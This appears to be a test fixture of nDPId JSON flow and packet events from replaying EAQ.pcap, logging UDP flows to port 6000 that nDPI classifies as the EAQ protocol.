+00413{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821022,"pkt_ts_usec":695019,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAClAABARE4vIwoRCCggAARdwq8sAGOItAAAAAwAADeAABpVdAABgAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":155,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1432821022695,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821022,"pkt_ts_usec":695111,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rIKCAAByMKNQ72zF3AAGJYxAAAAAwAADeAABpZwAACQAA=="} +00413{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821023,"pkt_ts_usec":691357,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47IKCAAByMKEQ5kRF3AAGFQBAAAAAwAADeAABwZCAACQAA=="} +00413{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821023,"pkt_ts_usec":735181,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACpAABARE4nIwoRDCggAARdwmREAGIQBAAAAAwAADeAABwZCAABgAA=="} +00413{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821023,"pkt_ts_usec":735272,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47EKCAAByMKERM32F3AAGH4sAAAAAwAADeAAB6cwAACQAA=="} +00413{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821023,"pkt_ts_usec":795178,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACtAABARE4fIwoRECggAARdwzfYAGK4sAAAAAwAADeAAB6cwAABgAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":160,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1432821023795,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821023,"pkt_ts_usec":795300,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rMKCAAByMKFQttAF3AAGEzXAAAAAwAADeAAB8o9AACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":161,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1432821024791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821024,"pkt_ts_usec":791363,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rIKCAAByMKFQ96sF3AAGCNFAAAAAwAADeAAB\/BiAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":162,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1432821025791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821025,"pkt_ts_usec":791394,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37MKCAAByMKIQo7IF3AAGF2AAAAAAwAADeAACQMLAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":163,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1432821026791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821026,"pkt_ts_usec":791363,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rEKCAAByMKFRM9DF3AAGB8PAAAAAwAADeAACQP\/AACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":164,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1432821027791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821027,"pkt_ts_usec":791363,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37EKCAAByMKIRKueF3AAGOUlAAAAAwAADeAADF6KAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":165,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1432821028791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821028,"pkt_ts_usec":791363,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bMKCAAByMKGQrjyF3AAGNjAAAAAAwAADeAADF+dAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":166,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1432821029791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821029,"pkt_ts_usec":791363,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bEKCAAByMKGRObaF3AAGKo9AAAAAwAADeAADGA2AACQAA=="} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1432821022695,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1432821022695,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1432821020651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1432821020651,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1432821024791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1432821024791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1432821025791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1432821025791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1432821029791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1432821029791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1432821026791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1432821026791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1432821028791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1432821028791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1432821021652,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1432821021652,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1432821023795,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1432821023795,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1432821027791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1432821027791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1432821030791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821030,"pkt_ts_usec":791363,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rIKCAAByMKVQ8P\/F3AAGL2BAAAAAwAADeAADGDOAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":168,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1432821031791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821031,"pkt_ts_usec":791424,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rEKCAAByMKVRI7hF3AAGPIFAAAAAwAADeAADGFnAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":169,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1432821032791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821032,"pkt_ts_usec":791363,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37IKCAAByMKIQ+ptF3AAGKLiAAAAAwAADeAADGH\/AACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":170,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1432821033791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821033,"pkt_ts_usec":791394,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rMKCAAByMKVQoJMF3AAGLfoAAAAAwAADeAADqgZAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":171,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1432821034791,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821034,"pkt_ts_usec":791791,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bIKCAAByMKGQ5x6F3AAGKvFAAAAAwAADeAADqkNAACQAA=="} +00412{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821035,"pkt_ts_usec":791333,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3WwKCAAByLmKkswhF3AAGOYfAAAABAAADeEAATrRAACQAA=="} +00413{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821035,"pkt_ts_usec":895062,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACxAABARDUHIuYqSCggAARdwzCEAGBYgAAAABAAADeEAATrRAABgAA=="} +00412{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821035,"pkt_ts_usec":895184,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR6hwKCAAByLl94r76F3AAGLJ6AAAABAAADeEAAYhNAACQAA=="} +00413{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432821035,"pkt_ts_usec":985730,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAC1AABARGfDIuX3iCggAARdwvvoAGOJ6AAAABAAADeEAAYhNAABgAA=="} 